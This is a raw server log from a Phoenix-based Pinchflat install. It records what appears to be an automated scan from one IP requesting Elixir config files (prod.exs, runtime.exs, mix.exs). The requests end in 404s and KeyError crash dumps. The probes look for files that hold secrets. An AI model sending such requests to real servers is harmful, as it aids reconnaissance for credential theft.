GET /config/prod.exs 15:23:12.921 [info] GET /config/config.exs 15:23:12.921 [debug] QUERY OK source="settings" db=0.1ms idle=982.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.921 [debug] QUERY OK source="settings" db=0.2ms idle=982.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.921 [debug] QUERY OK source="settings" db=0.0ms idle=982.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.921 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:12.921 [debug] QUERY OK source="settings" db=0.0ms idle=982.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.921 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:12.922 [info] GET /config/dev.exs 15:23:12.922 [debug] QUERY OK source="settings" db=0.0ms idle=328.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.922 [info] GET /config/runtime.exs 15:23:12.922 [info] GET /mix.exs 15:23:12.922 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.922 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:12.922 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.922 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.923 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.923 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:12.921 [error] #PID<0.9914.0> running PinchflatWeb.Endpoint (connection #PID<0.9911.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/prod.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9911.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/prod.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56908}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9914.0>, params: %{}, path_info: ["config", "prod"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/prod.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFuRRbQNndQUAAesC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9911.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/prod.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56908}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/prod (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9911.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/prod.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56908}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 15:23:12.922 [error] #PID<0.9913.0> running PinchflatWeb.Endpoint (connection #PID<0.9912.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/config.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56900}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9913.0>, params: %{}, path_info: ["config", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/config.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFuRRbhDGWO8AA4-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56900}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/config.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56900}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" (truncated) 15:23:12.923 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:12.923 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:12.922 [error] #PID<0.9916.0> running PinchflatWeb.Endpoint (connection #PID<0.9915.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/dev.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9915.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/dev.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56910}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9916.0>, params: %{}, path_info: ["config", "dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/dev.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFuRiieEHE-sAA4_B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9915.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/dev.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56910}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9915.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/dev.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56910}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9916.0>, params: %{}, path_info: ["config", "dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"ho (truncated) 15:23:12.923 [error] #PID<0.9919.0> running PinchflatWeb.Endpoint (connection #PID<0.9917.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/runtime.exs ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/runtime (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9917.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/runtime.exs", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 56932}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9919.0>, params: %{}, path_info: ["config", "runtime"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config/runtime.exs", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDFuRnTO8ils0AA5AB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, 